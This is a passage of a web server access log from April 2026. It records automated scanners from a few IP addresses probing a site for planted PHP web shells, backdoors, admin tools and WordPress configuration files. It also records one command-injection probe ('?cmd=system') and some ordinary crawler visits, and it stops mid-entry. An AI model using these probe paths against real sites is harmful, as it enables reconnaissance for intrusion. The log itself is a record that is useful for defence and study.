20.199.101.230 - - [25/Apr/2026:11:11:49 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:52 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:55 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:55 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:59 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 1.15.52.154 - - [25/Apr/2026:10:26:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.199.101.230 - - [25/Apr/2026:11:04:00 +0300] "GET /file0.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:03 +0300] "GET /t3s.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:04:06 +0300] "GET /crgio.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:15 +0300] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:17 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:21 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:24 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:34 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:34 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:38 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:38 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:38 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:41 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:44 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:46 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:02 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:05 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:09 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:35 +0300] "GET //cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:38 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:14 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:12:14 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:17 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:52 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:52 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:56 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:44 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:44 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:44 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:44 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:44 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:44 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:44 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:47 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:47 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:47 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:49 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:49 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:49 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:49 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:50 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:52 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:55 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:55 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:57 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:59 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:50 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:55 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:55 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:59 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:55 +0300] "GET /wp-xme.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:05:59 +0300] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:02 +0300] "GET /ktfow.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:04 +0300] "GET /mode.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:34 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:36 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:39 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:39 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:42 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:45 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:48 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:06:51 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:21 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:24 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:26 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:28 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:07:31 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:02 +0300] "GET /.well-known/nastar.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:24 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:24 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:28 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:11:30 +0300] "GET //cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:50 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:51 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:51 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:08:53 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:06 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:10 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:13 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:15 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:18 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:09:21 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:27 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:27 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:27 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:27 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:27 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:28 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:28 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 20.199.101.230 - - [25/Apr/2026:11:10:28 +0300] "GET //admin1.php HTTP/1.1" 301 795 "-" "-" 62.60.130.210 - - [25/Apr/2026:14:05:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:118.0) Gecko/20100101 Firefox/118.0" 43.166.131.228 - - [25/Apr/2026:15:15:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.249.8 - - [25/Apr/2026:13:32:55 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.157.142.101 - - [25/Apr/2026:16:11:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 80.241.214.49 - - [25/Apr/2026:18:02:25 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 212.47.78.25 - - [25/Apr/2026:20:12:05 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 173.252.69.2 - - [25/Apr/2026:21:20:40 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 172.173.121.77 - - [25/Apr/2026:20:30:25 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 36.68.34.192 - - [25/Apr/2026:21:42:47 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.159.143.190 - - [25/Apr/2026:22:21:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 23.137.105.214 - - [25/Apr/2026:23:51:36 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 51.107.90.140 - - [26/Apr/2026:01:27:59 +0300] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 43.159.145.149 - - [25/Apr/2026:23:52:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.8.254 - - [26/Apr/2026:00:19:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 207.46.13.230 - - [26/Apr/2026:01:02:22 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 40.77.167.72 - - [26/Apr/2026:01:02:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 51.107.90.140 - - [26/Apr/2026:01:27:33 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 51.107.90.140 - - [26/Apr/2026:01:27:36 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 51.107.90.140 - - [26/Apr/2026:01:27:40 +0300] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 51.107.90.140 - - [26/Apr/2026:01:27:44 +0300] "GET /pinfo.php HTTP/1.1" 301 795 "-" "-" 51.107.90.140 - - [26/Apr/2026:01:27:48 +0300] "GET /aws.php HTTP/1.1" 301 795 "-" "-" 51.107.90.140 - - [26/Apr/2026:01:28:05 +0300] "GET /kcs.php?p= HTTP/1.1" 301 795 "-" "-" 62.60.130.223 - - [26/Apr/2026:02:51:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 176.65.148.254 - - [25/Apr/2026:23:09:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 51.107.90.140 - - [26/Apr/2026:01:27:19 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.107.90.140 - - [26/Apr/2026:01:28:10 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "-" 193.37.32.32 - - [26/Apr/2026:05:46:09 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:13 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:18 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:23 +0300] "GET /wp-content/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:28 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:33 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:38 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:38 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:43 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:48 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:53 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:58 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:46:58 +0300] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:03 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:04 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:09 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:14 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:19 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:24 +0300] "GET /wp-content/plugins/hello-plus/classes/ehp-sarang.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:29 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:34 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:34 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:39 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:44 +0300] "GET /wp-content/edit-tags.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:49 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:55 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:47:55 +0300] "GET /.well-known/core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:00 +0300] "GET /wp-wlx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:05 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:10 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:15 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:19 +0300] "GET /wp-admin/css/colors/PHPMailer/s HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:24 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:29 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:34 +0300] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:39 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:44 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:49 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:54 +0300] "GET /wp-content/themes/news-portal/sitebar.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:48:59 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:04 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:05 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:10 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:10 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:15 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:15 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:20 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:25 +0300] "GET /system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:29 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:34 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:34 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:34 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:39 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:44 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:45 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:45 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:50 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:54 +0300] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:49:55 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:00 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:00 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:00 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:01 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:06 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:11 +0300] "GET /wp-admin/css/colors/modern/test2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:16 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:21 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:26 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:26 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:31 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:32 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:37 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:42 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:46 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:46 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:51 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:50:56 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:01 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:06 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:07 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:07 +0300] "GET /wp-content/uploads/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:12 +0300] "GET /wp-includes/header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:17 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - [26/Apr/2026:05:51:22 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 193.37.32.32 - - 